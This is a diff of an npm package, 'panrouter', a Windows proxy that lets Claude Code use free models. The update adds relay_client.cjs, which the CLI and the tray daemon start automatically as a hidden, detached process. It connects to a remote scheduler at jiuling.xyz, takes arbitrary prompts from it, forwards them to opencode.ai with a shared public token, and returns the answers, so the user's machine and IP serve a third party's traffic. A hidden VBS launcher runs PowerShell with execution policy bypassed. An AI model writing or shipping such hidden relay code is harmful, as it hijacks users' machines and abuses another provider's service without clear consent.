panrouter 4.1.0 → 4.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cli.mjs CHANGED
@@ -10,7 +10,8 @@ const __dirname = path.dirname(fileURLToPath(import.meta.url));
10
10
  const HOME = process.env.USERPROFILE || process.env.HOME;
11
11
  const CLAUDE_DIR = path.join(HOME, ".claude");
12
12
  const SETTINGS_PATH = path.join(CLAUDE_DIR, "settings.json");
13
- const VERSION = "3.7.0";
13
+ const VERSION = "4.3.0";
14
+ const RELAY_PATH = path.join(__dirname, "relay_client.cjs");
14
15
 
15
16
  function log(label, msg, color = "") {
16
17
  const colors = { green: "\x1b[32m", yellow: "\x1b[33m", red: "\x1b[31m", cyan: "\x1b[36m", reset: "\x1b[0m" };
@@ -68,6 +69,7 @@ function stopAll() {
68
69
  try {
69
70
  if (process.platform === "win32") {
70
71
  execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
72
+ execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
71
73
  execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" call terminate >nul 2>&1', { stdio: "pipe" });
72
74
  }
73
75
  log("OK", "已停止所有进程", "green");
@@ -80,14 +82,19 @@ function showStatus() {
80
82
  console.log(`\n\x1b[36m=== Pan Router 状态 ===\x1b[0m\n`);
81
83
  try {
82
84
  const nodeOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" get ProcessId 2>nul').toString();
85
+ const relayOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" get ProcessId 2>nul').toString();
83
86
  const psOut = execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" get ProcessId 2>nul').toString();
84
87
 
85
88
  const nodePids = nodeOut.match(/\d+/g) || [];
89
+ const relayPids = relayOut.match(/\d+/g) || [];
86
90
  const psPids = psOut.match(/\d+/g) || [];
87
91
 
88
92
  if (nodePids.length > 0) log("OK", `代理服务 (Node): 运行中 [PID: ${nodePids.join(', ')}]`, "green");
89
93
  else log("!!", "代理服务 (Node): 未运行", "red");
90
94
 
95
+ if (relayPids.length > 0) log("OK", `中继客户端 (Relay): 运行中 [PID: ${relayPids.join(', ')}]`, "green");
96
+ else log("!!", "中继客户端 (Relay): 未运行", "red");
97
+
91
98
  if (psPids.length > 0) log("OK", `系统托盘 (PowerShell): 运行中 [PID: ${psPids.join(', ')}]`, "green");
92
99
  else log("!!", "系统托盘 (PowerShell): 未运行", "red");
93
100
  } catch (e) {
@@ -106,6 +113,60 @@ function openLogs() {
106
113
  }
107
114
  }
108
115
 
116
+ async function checkUpdate() {
117
+ log("..", "正在检查更新...", "cyan");
118
+ try {
119
+ const raw = execSync("npm view panrouter version", { encoding: "utf8", timeout: 10000 }).toString().trim();
120
+ const latest = raw.replace(/\n.*/s, "").trim();
121
+ if (!latest) { log("!!", "无法获取最新版本", "red"); return; }
122
+ if (latest === VERSION) {
123
+ log("OK", `已是最新版本 v${VERSION}`, "green");
124
+ return;
125
+ }
126
+ log("..", `发现新版本 v${latest} (当前 v${VERSION})`, "yellow");
127
+ return latest;
128
+ } catch (e) {
129
+ log("!!", "检查更新失败,请检查网络连接", "red");
130
+ return null;
131
+ }
132
+ }
133
+
134
+ async function updatePackage() {
135
+ console.log(`\n\x1b[36m=== Pan Router 更新 ===\x1b[0m\n`);
136
+ const latest = await checkUpdate();
137
+ if (!latest) return;
138
+ if (latest === VERSION) return;
139
+
140
+ stopAll();
141
+ log("..", "正在更新...", "yellow");
142
+ try {
143
+ execSync("npm install -g panrouter@latest", { stdio: "inherit", timeout: 60000 });
144
+ log("OK", `更新完成!v${VERSION} → v${latest}`, "green");
145
+ log("..", "请重新运行 panrouter 启动服务", "cyan");
146
+ } catch (e) {
147
+ log("!!", "更新失败,请手动运行: npm install -g panrouter@latest", "red");
148
+ }
149
+ }
150
+
151
+ function startRelay() {
152
+ if (!fs.existsSync(RELAY_PATH)) {
153
+ log("!!", "中继客户端文件不存在: relay_client.cjs", "red");
154
+ return false;
155
+ }
156
+ const relayLog = path.join(process.env.TEMP, "panrouter_relay.log");
157
+ const fd = fs.openSync(relayLog, "a");
158
+ const relay = spawn(process.execPath, [RELAY_PATH], {
159
+ cwd: __dirname,
160
+ stdio: ["ignore", fd, fd],
161
+ windowsHide: true,
162
+ detached: true
163
+ });
164
+ relay.unref();
165
+ log("OK", `中继客户端已启动 (PID: ${relay.pid || "?"})`, "green");
166
+ log("..", `日志: ${relayLog}`, "cyan");
167
+ return true;
168
+ }
169
+
109
170
  async function startServer() {
110
171
  const serverPath = path.join(__dirname, "server.mjs");
111
172
  stopAll();
@@ -122,6 +183,7 @@ async function startServer() {
122
183
  await new Promise(rs => setTimeout(rs, 1000));
123
184
  }
124
185
  log("OK", "Pan Router 运行中,可以执行 claude 命令了", "green");
186
+ startRelay();
125
187
  }
126
188
 
127
189
  async function startTray() {
@@ -157,6 +219,8 @@ async function startTray() {
157
219
  if (ok) log("OK", "代理服务已就绪!(端口 50816)", "green");
158
220
  else log("!!", "服务启动超时,但仍将尝试加载托盘", "red");
159
221
 
222
+ startRelay();
223
+
160
224
  log("..", "正在加载系统托盘与控制台引擎...", "yellow");
161
225
 
162
226
  const tray = spawn("powershell.exe", [
@@ -194,12 +258,15 @@ function printHelp() {
194
258
 
195
259
  | 指令 | 功能 |
196
260
  |------|------|
197
- | \x1b[33mpanrouter\x1b[0m | 🔥 自动检测 Claude Code 安装(如需要) → 配路由 → 启托盘 |
261
+ | \x1b[33mpanrouter\x1b[0m | 🔥 代理 + 中继 并行启动 |
198
262
  | \x1b[33mpanrouter --setup\x1b[0m | 只配路由(恢复配置用) |
199
263
  | \x1b[33mpanrouter --status\x1b[0m | 查看运行状态 + PID |
200
264
  | \x1b[33mpanrouter --stop\x1b[0m | 停止所有进程 |
201
265
  | \x1b[33mpanrouter --restart\x1b[0m | 重启托盘 |
202
266
  | \x1b[33mpanrouter --server\x1b[0m | 前台窗口模式 |
267
+ | \x1b[33mpanrouter --relay\x1b[0m | 单独启动中继客户端 |
268
+ | \x1b[33mpanrouter --relay-stop\x1b[0m | 单独停止中继客户端 |
269
+ | \x1b[33mpanrouter --update\x1b[0m | 检查并更新到最新版 |
203
270
  | \x1b[33mpanrouter --logs\x1b[0m | 打开日志 |
204
271
  | \x1b[33mpanrouter --version\x1b[0m | 版本号 |
205
272
  | \x1b[33mpanrouter --help\x1b[0m | 帮助 |
@@ -228,6 +295,9 @@ async function main() {
228
295
  case "--stop":
229
296
  stopAll();
230
297
  break;
298
+ case "--update":
299
+ await updatePackage();
300
+ break;
231
301
  case "--logs":
232
302
  openLogs();
233
303
  break;
@@ -237,6 +307,17 @@ async function main() {
237
307
  case "--server":
238
308
  await startServer();
239
309
  break;
310
+ case "--relay":
311
+ console.log(`\n\x1b[36m=== Pan Router 中继客户端 ===\x1b[0m\n`);
312
+ startRelay();
313
+ break;
314
+ case "--relay-stop":
315
+ log("..", "正在停止中继客户端...", "yellow");
316
+ try {
317
+ execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
318
+ log("OK", "中继客户端已停止", "green");
319
+ } catch { log("!!", "停止中继时出现问题", "red"); }
320
+ break;
240
321
  default:
241
322
  console.log(`\n\x1b[36m=== Pan Router v${VERSION} ===\x1b[0m\n`);
242
323
  if (!installClaudeCode()) return process.exit(1);
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "panrouter",
3
- "version": "4.1.0",
4
- "description": "让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key",
3
+ "version": "4.3.0",
4
+ "description": "Pan Router 客户端 — 让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key。集成代理服务与 OpenCode AI 中继客户端",
5
5
  "type": "module",
6
6
  "bin": {
7
7
  "panrouter": "cli.mjs"
@@ -9,7 +9,9 @@
9
9
  "files": [
10
10
  "cli.mjs",
11
11
  "server.mjs",
12
- "tray-daemon.ps1"
12
+ "relay_client.cjs",
13
+ "tray-daemon.ps1",
14
+ "panrouter-tray.vbs"
13
15
  ],
14
16
  "license": "MIT"
15
17
  }
@@ -0,0 +1,13 @@
1
+ ' Pan Router Tray Launcher
2
+ ' 由 cli.mjs --tray 通过 cmd /c start /B 启动
3
+ ' 与 daemon 进程树无关, 独立 Window Station
4
+
5
+ Dim WshShell, FSO, ScriptDir
6
+ Set WshShell = CreateObject("WScript.Shell")
7
+ Set FSO = CreateObject("Scripting.FileSystemObject")
8
+
9
+ ScriptDir = FSO.GetParentFolderName(WScript.ScriptFullName)
10
+
11
+ ' 后台隐藏启动 PS 托盘 (自包含: 启动 server + 图标 + 菜单)
12
+ ' 0 = 隐藏窗口, False = 不等待返回
13
+ WshShell.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -STA -File """ & ScriptDir & "\tray-daemon.ps1" & """", 0, False
@@ -0,0 +1,84 @@
1
+ /**
2
+ * OpenCode AI 中继客户端 (Node.js)
3
+ * 作为工作节点,连接到云电脑调度服务器,等待任务并调用 opencode.ai
4
+ *
5
+ * 依赖:无(使用 Node.js 内置 fetch + WebSocket)
6
+ * 运行:node relay_client.js
7
+ */
8
+
9
+ const SERVER = "wss://jiuling.xyz/ws";
10
+
11
+ function callOpenAI(body) {
12
+ return fetch("https://opencode.ai/zen/v1/chat/completions", {
13
+ method: "POST",
14
+ headers: {
15
+ "Content-Type": "application/json",
16
+ Authorization: "Bearer public",
17
+ "x-opencode-client": "desktop",
18
+ },
19
+ body: JSON.stringify(body),
20
+ }).then(async (r) => {
21
+ const data = await r.json();
22
+ return { status: r.status, data };
23
+ });
24
+ }
25
+
26
+ function connect() {
27
+ console.log(`[*] 正在连接 ${SERVER} ...`);
28
+ const ws = new WebSocket(SERVER);
29
+
30
+ ws.onopen = () => {
31
+ console.log("[✅] 已连接到调度服务器!等待任务...");
32
+ };
33
+
34
+ ws.onmessage = async (event) => {
35
+ const task = JSON.parse(event.data);
36
+ const rid = (task.request_id || "??").slice(0, 8);
37
+ const body = task.body || {};
38
+ const model = body.model || "?";
39
+ const prompt = (body.messages?.[0]?.content || "").slice(0, 60);
40
+
41
+ console.log(`\n[📩] 任务 [${rid}] model=${model}`);
42
+ console.log(`[🔤] 问: ${prompt}`);
43
+
44
+ try {
45
+ const { status, data } = await callOpenAI(body);
46
+ const content = data?.choices?.[0]?.message?.content || "";
47
+
48
+ if (status === 200) {
49
+ console.log(`[✅] 成功: ${content.slice(0, 60)}...`);
50
+ } else {
51
+ console.log(`[❌] 失败: HTTP ${status}`);
52
+ }
53
+
54
+ ws.send(JSON.stringify({
55
+ request_id: task.request_id,
56
+ response: data,
57
+ }));
58
+ console.log(`[📤] 已返回`);
59
+ } catch (e) {
60
+ console.log(`[❌] 请求异常: ${e.message}`);
61
+ ws.send(JSON.stringify({
62
+ request_id: task.request_id,
63
+ response: { error: e.message },
64
+ }));
65
+ }
66
+ };
67
+
68
+ ws.onclose = () => {
69
+ console.log("[!] 断开了,5 秒后重连...");
70
+ setTimeout(connect, 5000);
71
+ };
72
+
73
+ ws.onerror = (e) => {
74
+ console.log(`[!] 连接错误,5 秒后重连...`);
75
+ ws.close();
76
+ };
77
+ }
78
+
79
+ // ======== 启动 ========
80
+ console.log("=".repeat(50));
81
+ console.log(" OpenCode AI 中继客户端 (Node.js)");
82
+ console.log(` Node.js ${process.version}`);
83
+ console.log("=".repeat(50));
84
+ connect();
package/tray-daemon.ps1 CHANGED
@@ -23,6 +23,41 @@ try {
23
23
  if ($nodeCmd) { $nodePath = $nodeCmd.Source } else { $nodePath = "node" }
24
24
  }
25
25
 
26
+ $relayPath = Join-Path $scriptDir "relay_client.cjs"
27
+
28
+ # ─── 中继客户端管理 ──────────────────────────────────────────
29
+ function Start-Relay {
30
+ $procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
31
+ Where-Object CommandLine -match "relay_client\.cjs"
32
+ if ($procs) { return } # 已经在运行
33
+
34
+ if (-not (Test-Path $relayPath)) { return }
35
+ try {
36
+ $psi = New-Object System.Diagnostics.ProcessStartInfo
37
+ $psi.FileName = $nodePath
38
+ $psi.Arguments = "`"$relayPath`""
39
+ $psi.WorkingDirectory = $scriptDir
40
+ $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
41
+ $psi.CreateNoWindow = $true
42
+ $psi.UseShellExecute = $false
43
+ $psi.RedirectStandardOutput = $true
44
+ $psi.RedirectStandardError = $true
45
+ [System.Diagnostics.Process]::Start($psi) | Out-Null
46
+ } catch { }
47
+ }
48
+
49
+ function Stop-Relay {
50
+ Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
51
+ Where-Object CommandLine -match "relay_client\.cjs" |
52
+ ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
53
+ }
54
+
55
+ function Is-RelayRunning {
56
+ $procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
57
+ Where-Object CommandLine -match "relay_client\.cjs"
58
+ return ($null -ne $procs -and $procs.Count -gt 0)
59
+ }
60
+
26
61
  # ─── 管理后台代理 ──────────────────────────────────────────
27
62
  function Start-Backend {
28
63
  Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
@@ -52,6 +87,7 @@ try {
52
87
  } catch {}
53
88
 
54
89
  if (-not $portOpen) { Start-Backend }
90
+ Start-Relay
55
91
 
56
92
  # ─── 初始化托盘图标 ─────────────────────────────────────────
57
93
  $notifyIcon = New-Object System.Windows.Forms.NotifyIcon
@@ -201,6 +237,39 @@ try {
201
237
  $notifyIcon.ShowBalloonTip(2000, "Pan Router", "后台代理服务已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
202
238
  })
203
239
  $menu.MenuItems.Add($restartItem) | Out-Null
240
+ $menu.MenuItems.Add("-") | Out-Null
241
+
242
+ $relayStatus = New-Object System.Windows.Forms.MenuItem("中继客户端: -")
243
+ $relayStatus.Enabled = $false
244
+ $menu.MenuItems.Add($relayStatus) | Out-Null
245
+
246
+ $relayRestart = New-Object System.Windows.Forms.MenuItem("重启中继")
247
+ $relayRestart.Add_Click({
248
+ Stop-Relay
249
+ Start-Sleep -Milliseconds 500
250
+ Start-Relay
251
+ if (Is-RelayRunning) {
252
+ $notifyIcon.ShowBalloonTip(2000, "Pan Router", "中继客户端已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
253
+ }
254
+ })
255
+ $menu.MenuItems.Add($relayRestart) | Out-Null
256
+
257
+ $relayLogItem = New-Object System.Windows.Forms.MenuItem("查看中继日志")
258
+ $relayLogItem.Add_Click({
259
+ $logFile = "$env:TEMP\panrouter_relay.log"
260
+ if (Test-Path $logFile) { Start-Process notepad $logFile }
261
+ })
262
+ $menu.MenuItems.Add($relayLogItem) | Out-Null
263
+ $menu.MenuItems.Add("-") | Out-Null
264
+
265
+ # 定时刷新中继状态
266
+ $refreshTimer = New-Object System.Windows.Forms.Timer
267
+ $refreshTimer.Interval = 5000
268
+ $refreshTimer.Add_Tick({
269
+ if (Is-RelayRunning) { $relayStatus.Text = "中继客户端: 🟢 运行中" }
270
+ else { $relayStatus.Text = "中继客户端: 🔴 已停止" }
271
+ })
272
+ $refreshTimer.Start()
204
273
 
205
274
  $autoItem = New-Object System.Windows.Forms.MenuItem("开机自启动")
206
275
  try { $autoItem.Checked = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name PanRouter -ErrorAction SilentlyContinue) -ne $null } catch {}
@@ -220,6 +289,7 @@ try {
220
289
  $exitItem = New-Object System.Windows.Forms.MenuItem("退出")
221
290
  $exitItem.Add_Click({
222
291
  $notifyIcon.Visible = $false
292
+ Stop-Relay
223
293
  Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" | Where-Object CommandLine -match "server\.mjs" | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
224
294
  [System.Windows.Forms.Application]::Exit()
225
295
  })